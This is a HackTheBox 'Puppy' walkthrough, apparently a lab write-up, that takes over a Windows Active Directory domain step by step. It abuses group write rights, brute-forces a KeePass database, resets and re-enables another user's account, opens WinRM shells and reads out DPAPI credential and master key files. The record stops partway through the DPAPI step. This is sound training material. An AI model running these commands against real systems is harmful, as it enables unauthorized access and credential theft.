Puppy – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
Synopsis Link to heading
“Puppy” is a Medium difficulty machine from HackTheBox
platform focused on Active Directory
(AD
). This machine focuses on an AD
environment -that assumes a breached situation, where we start with provided credentials- that teaches lateral movement in AD
, enable locked accounts, extract credentials from KeePass
files and Data Protection API
(DPAPI
) files.
levi.james:KingofAkron2025!
User Link to heading
We start with a quick Nmap
scan looking for open TCP
ports:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.246.234
We find 5 ports open, where principal ones are: 53
Domain Name System
(DNS
), 135
Microsoft RPC
, and 445
Server Message Block
(SMB
). Apply some recognition scan over these ports using -sVC
flag with Nmap
:
❯ sudo nmap -sVC -p53,111,135,139,445 10.129.246.234
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 18:29 -04
Nmap scan report for 10.129.246.234
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
| smb2-time:
| date: 2025-05-19T05:30:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 459.46 seconds
Apparently, it is an Active Directory
environment.
We can also use NetExec
, along with the provided credentials, to get information for this machine and domain:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
We have a machine name DC
and a domain PUPPY.HTB
.
Therefore, add this machine name, domain and FQDN
(DC.PUPPY.HTB
) to our /etc/hosts
file in our attacker machine:
❯ echo '10.129.246.234 DC DC.PUPPY.HTB PUPPY.HTB' | sudo tee -a /etc/hosts
If we check for shared resources in SMB
service with NetExec
we find a folder called DEV
. However, we don’t have permissions to read it:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Enumerated shares
SMB 10.129.246.234 445 DC Share Permissions Remark
SMB 10.129.246.234 445 DC ----- ----------- ------
SMB 10.129.246.234 445 DC ADMIN$ Remote Admin
SMB 10.129.246.234 445 DC C$ Default share
SMB 10.129.246.234 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.246.234 445 DC IPC$ READ Remote IPC
SMB 10.129.246.234 445 DC NETLOGON READ Logon server share
SMB 10.129.246.234 445 DC SYSVOL READ Logon server share
To get information about the domain we can use bloodhound-python
(which can be installed with pip install bloodhound
or pipx install bloodhound
, I recommend the second one) along with credentials provided for levi.james
user:
❯ bloodhound-python -c ALL -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -ns 10.129.246.234 --zip
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 01M 04S
INFO: Compressing output into 20250518184119_bloodhound.zip
We get KRB_AP_ERR_SKEW(Clock skew too great)
error, but we still get a .zip
file that we could use in Bloodhound
.
Start Bloodhound
(in my case I use the Community Edition
, or CE
) and upload the generated .zip
file. Once we have uploaded and completed the upload, we search for levi.james
user. We can see that this user can do some stuff over other users clicking on Outbound Object Control
option. We can see now:
levi.james
is a member of HR
group. Members of this group have GenericWrite
permissions over DEVELOPERS
group. This means that levi.james
user can add any user to this group. Therefore, let’s add ourselves (levi.james
) to DEVELOPERS
group using bloodyAD
:
❯ bloodyAD -d PUPPY.HTB --host DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'
[+] levi.james added to DEVELOPERS
If we check shared resources again, we can now read DEV
shared folder:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Enumerated shares
SMB 10.129.246.234 445 DC Share Permissions Remark
SMB 10.129.246.234 445 DC ----- ----------- ------
SMB 10.129.246.234 445 DC ADMIN$ Remote Admin
SMB 10.129.246.234 445 DC C$ Default share
SMB 10.129.246.234 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.246.234 445 DC IPC$ READ Remote IPC
SMB 10.129.246.234 445 DC NETLOGON READ Logon server share
SMB 10.129.246.234 445 DC SYSVOL READ Logon server share
DEVELOPERS
group to its original value every certain amount of time.Check contents of DEV
shared folder using NetExec
and levi.james
credentials since now he is member of DEVELOPERS
group and can read this shared resource:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV' --pattern .
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Started spidering
SMB 10.129.246.234 445 DC [*] Spidering .
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/.. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/KeePassXC-2.7.9-Win64.msi [lastm:'2025-03-23 04:09' size:34394112]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/recovery.kdbx [lastm:'2025-03-11 23:25' size:2677]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/Projects/. [dir]
SMB 10.129.246.234 445 DC //10.129.246.234/DEV/Projects/.. [dir]
SMB 10.129.246.234 445 DC [*] Done spidering (Completed in 3.352356433868408)
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --spider 'DEV/Projects' --pattern .
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Started spidering
SMB 10.129.246.234 445 DC [*] Spidering .
SMB 10.129.246.234 445 DC [*] Done spidering (Completed in 0.2704143524169922)
We have an .msi
file, that is usually used to install software, for KeePass
for its version 2.7.9
and a .kdbx
file (called recovery.kdbx
) file that is the format that KeePass
uses for its files.
Therefore, download the interesting KeePass
file using NetExec
as well:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --share 'DEV' --get-file 'recovery.kdbx' 'recovery.kdbx'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.246.234 445 DC [*] Copying "recovery.kdbx" to "recovery.kdbx"
SMB 10.129.246.234 445 DC [+] File "recovery.kdbx" was downloaded to "recovery.kdbx"
As expected, this is a KeePass
file:
❯ file recovery.kdbx
recovery.kdbx: Keepass password database 2.x KDBX
We cannot extract its password directly from this file to a hash using keepass2john
since the file version does not allow it:
❯ keepass2john recovery.kdbx
! recovery.kdbx : File version '40000' is currently not supported!
Therefore, we can attempt a Brute Force Password Login
using a tool called keepass4brute (that also needs keepassxc-cli
, which can be installed with sudo apt install keepassxc -y
) that will attempt to open the .kdbx
file using bruteforce. This tool is a simple Bash
script that tries to open the .kdbx
file using keepassxc-cli
given a dictionary of passwords. Clone this tool:
❯ git clone https://github.com/r3nt0n/keepass4brute.git -q
❯ cd keepass4brute
and use it:
❯ ./keepass4brute.sh ../../content/recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 52 - Estimated time remaining: 27 weeks, 2 days
[+] Current attempt: liverpool
[*] Password found: liverpool
We get a password for it: liverpool
.
We can now use keepassxc-cli
to check its content:
❯ keepassxc-cli ls recovery.kdbx
Enter password to unlock recovery.kdbx: liverpool
JAMIE WILLIAMSON
ADAM SILVER
ANTONY C. EDWARDS
STEVE TUCKER
SAMUEL BLAKE
We have 5 different entries for what seems to be users.
We can make a simple Bash
oneliner that passes the master password (liverpool
) to keepassxc-cli
and check their content:
❯ for user in "JAMIE WILLIAMSON" "ADAM SILVER" "ANTONY C. EDWARDS" "STEVE TUCKER" "SAMUEL BLAKE"; do echo -e "\n[+] Checking content for entry '$user'"; echo 'liverpool' | keepassxc-cli show recovery.kdbx $user -s; done
[+] Checking content for entry 'JAMIE WILLIAMSON'
Enter password to unlock recovery.kdbx:
Title: JAMIE WILLIAMSON
UserName:
Password: JamieLove2025!
URL: puppy.htb
Notes:
Uuid: {5f112cf4-85ed-4d4d-bf0e-5e35da983367}
Tags:
[+] Checking content for entry 'ADAM SILVER'
Enter password to unlock recovery.kdbx:
Title: ADAM SILVER
UserName:
Password: HJKL2025!
URL: puppy.htb
Notes:
Uuid: {387b31a3-4a42-4352-ad9a-a42a70fa19f5}
Tags:
[+] Checking content for entry 'ANTONY C. EDWARDS'
Enter password to unlock recovery.kdbx:
Title: ANTONY C. EDWARDS
UserName:
Password: Antman2025!
URL: puppy.htb
Notes:
Uuid: {bfd9590f-b0c6-41f8-b2f5-7e6c5defa5e2}
Tags:
[+] Checking content for entry 'STEVE TUCKER'
Enter password to unlock recovery.kdbx:
Title: STEVE TUCKER
UserName:
Password: Steve2025!
URL: puppy.htb
Notes:
Uuid: {d51a238d-4fe4-4ede-bb83-e6bb6e48a0a1}
Tags:
[+] Checking content for entry 'SAMUEL BLAKE'
Enter password to unlock recovery.kdbx:
Title: SAMUEL BLAKE
UserName:
Password: ILY2025!
URL: puppy.htb
Notes:
Uuid: {d17c1358-f48b-4865-8ab6-15484dccb69b}
Tags:
Check users in the system using NetExec
:
❯ nxc smb 10.129.246.234 -u 'levi.james' -p 'KingofAkron2025!' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print
Administrator
Guest
krbtgt
DC$
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
We match the password of JAMIE WILLIAMSON
entry with jamie.williamson
user, password of ADAM SILVER
, and password of ANTONY C. EDWARDS
entry with ant.edwards
user. For that we can use --no-bruteforce
to test the first password for the first user, the second password for the second user and so on:
❯ nxc smb 10.129.246.234 -u 'jamie.williamson' 'adam.silver' 'ant.edwards' -p 'JamieLove2025!' 'HJKL2025!' 'Antman2025!' --no-bruteforce
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\jamie.williamson:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
We get valid credentials: ant.edwards:Antman2025!
.
Back to Bloodhound
we can see what can this user do. We can see:
ant.edwards
is a member of SENIOR DEVS
. Members of this group have GenericAll
rights over adam.silver
user.
I tried to perform a Shadow Credentials
attack, but did not work since LDAP
service (that usually runs on port 389
) is not available. Using targetedKerberoast.py
did not work as well:
❯ faketime "$(ntpdate -q PUPPY.HTB | cut -d ' ' -f 1,2)" python3 targetedKerberoast.py -vv -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' --request-user 'adam.silver' --dc-ip 10.129.246.234
[*] Starting kerberoast attacks
[*] Attacking user (adam.silver)
[DEBUG] {}
Therefore, the only option left is to change this user password (which should always be the last option). For this purpose we can use bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'gunzf0x123$!'
[+] Password changed successfully!
and check the changes with NetExec
:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [-] PUPPY.HTB\adam.silver:gunzf0x123$! STATUS_ACCOUNT_DISABLED
We get STATUS_ACCOUNT_DISABLED
, which means the password is correct. But the account is just not enabled.
We can also check this using bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
We can see the ACCOUNTDISABLE
attribute.
Based on Microsoft userAccountControl documentation, if we set the property userAccountControl
to 512
, which stands for NORMAL_ACCOUNT
, we should “enable” the account. Since ant.edwards
can modify adam.silver
properties, use this account to enable adam.silver
account modifying its userAccountControl
property to 512
. This should be easy to do with bloodyAD
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
Traceback (most recent call last):
File "/home/gunzf0x/.local/bin/bloodyAD", line 8, in <module>
sys.exit(main())
^^^^^^
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/main.py", line 144, in main
output = args.func(conn, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/cli_modules/set.py", line 26, in object
conn.ldap.bloodymodify(
File "/home/gunzf0x/.local/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 217, in bloodymodify
raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB! Result code: "invalidAttributeSyntax" Reason: "b'00000057: LdapErr: DSID-0C091330, comment: Error in attribute conversion operation, data 0, v4f7c\x00'"
Bot got an error: invalidAttributeSyntax
.
In my case bloodyAD
was an old one:
❯ pip3 list | grep bloodyAD
bloodyAD 2.0.8
I solved it uninstall bloodyAD
and then installing a more updated version of it using pipx
:
❯ pip3 uninstall bloodyAD
❯ pipx install bloodyAD
<SNIP>
❯ pipx list | grep 'bloodyAD' -B 1
package bloodyad 2.1.13, installed using Python 3.12.9
- bloodyAD
and run the command again:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' set object 'adam.silver' userAccountControl -v '512'
[+] adam.silver's userAccountControl has been updated
Now, checking this attribute again we can see it has been changed to only NORMAL_ACCOUNT
:
❯ bloodyAD --host 10.129.246.234 -d PUPPY.HTB -u 'ant.edwards' -p 'Antman2025!' get object 'adam.silver' --attr userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
We have access to this account now:
❯ nxc smb 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\adam.silver:gunzf0x123$!
In Bloodhound
we can check that this user is part of Remote Management Users
, which means that this user should be able to access to the victim machine through WinRM
service. Even if in our initial scan WinRM
was not available, we can still check if this works:
❯ nxc winrm 10.129.246.234 -u 'adam.silver' -p 'gunzf0x123$!'
WINRM 10.129.246.234 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.129.246.234 5985 DC [+] PUPPY.HTB\adam.silver:gunzf0x123$! (Pwn3d!)
Access to the victim machine through WinRM
service using evil-winrm
:
❯ evil-winrm -i PUPPY.HTB -u 'adam.silver' -p 'gunzf0x123$!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
We can grab the user flag at adam.silver
Desktop.
NT Authority/System - Administrator Link to heading
At C:\
there’s a Backup
folder:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
This folder contains a .zip
file:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> dir C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
Download it using download
function from evil-winrm
:
*Evil-WinRM* PS C:\Users\adam.silver\Documents> download C:\\Backups\\site-backup-2024-12-30.zip
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
Info: Download successful!
Extract the content of the downloaded file in our attacker machine:
❯ unzip site-backup-2024-12-30.zip -d site-backup
Archive: site-backup-2024-12-30.zip
creating: site-backup/puppy/
inflating: site-backup/puppy/nms-auth-config.xml.bak
creating: site-backup/puppy/images/
inflating: site-backup/puppy/images/banner.jpg
inflating: site-backup/puppy/images/jamie.jpg
<SNIP>
There is a file puppy/nms-auth-config.xml.bak
.
Read its content:
❯ cat site-backup/puppy/nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
We find interesting lines:
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
We have a password for steph.cooper
user, a user we know that exists in the system (that can be checked when we extracted domain users with NetExec
or simply checking Bloodhound
).
Check if these credentials work for this user with SMB
service:
❯ nxc smb 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
SMB 10.129.246.234 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.246.234 445 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
They work.
From Bloodhound
, and also checking with NetExec
, we can see that this user can connect using WinRM
service into the victim machine since it’s part of Remote Management Users
group:
❯ nxc winrm 10.129.246.234 -u 'steph.cooper' -p 'ChefSteph2025!'
WINRM 10.129.246.234 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
WINRM 10.129.246.234 5985 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025! (Pwn3d!)
Connect as steph.cooper
user with evil-winrm
:
❯ evil-winrm -i PUPPY.HTB -u 'steph.cooper' -p 'ChefSteph2025!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
To search for sensitive files in the system we can use WinPEAS
(which can be downloaded from its Github repository). Upload it from our attacker machine to the attacker machine using upload
function from evil-winrm
. Download the script:
❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250518-5781f7e5/winPEASx64.exe -q
and upload it with evil-winrm
(this will take some time, have patience):
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> upload winPEASx64.exe winPEAS.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Puppy/exploits/winPEASx64.exe to C:\Users\steph.cooper\Documents\winPEAS.exe
Data: 13525672 bytes of 13525672 bytes copied
Once downloaded into the victim machine, execute the downloaded binary to collect information:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> .\winPEAS.exe
<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Master Keys
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:40:36 AM
Modified: 3/8/2025 7:40:36 AM
=================================================================================================
ÉÍÍÍÍÍÍÍÍÍ͹ Checking for DPAPI Credential Files
È https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 8:14:09 AM
Modified: 3/8/2025 8:14:09 AM
Size: 11068
=================================================================================================
CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:54:29 AM
Modified: 3/8/2025 7:54:29 AM
Size: 414
=================================================================================================
<SNIP>
We find credentials for Data Protection API
(DPAPI
).
We can manually check this:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Using download
command from evil-winrm
on this file does not work:
*Evil-WinRM* PS C:\Users\steph.cooper\Documents> download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
That’s because this file is flagged as Hidden
.
We can then pass its content to base64
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
and decode it into our attacker machine:
❯ echo -n 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d > C8D69EBE9A43E9DEBF6B5FBD48B521B9
As an extra step, check that the file has been transferred correctly from the victim machine to our attacker machine checking its MD5
hash. In the target Windows
machine we can use certutil
for this purpose:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> certutil -hashfile C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 MD5
MD5 hash of C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9:
dd0259ec230bb91ef986e7b97835b0e4
CertUtil: -hashfile command completed successfully.
and in our attacker machine (Linux
):
❯ md5sum C8D69EBE9A43E9DEBF6B5FBD48B521B9
dd0259ec230bb91ef986e7b97835b0e4 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Both MD5
hashes are the same. Therefore, both are the same file.
Now, we need to obtain some master keys. For that we need our user SID
, that can be obtained running whoami /user
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user
USER INFORMATION
----------------
User Name SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107
We can also obtain our user SID
from Bloodhound
.
Once we have obtained our user SID
, check the master keys for it:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> Get-ChildItem -Hidden C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
We have one master key. Download it as we did for the previous file passing it to base64
:
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))
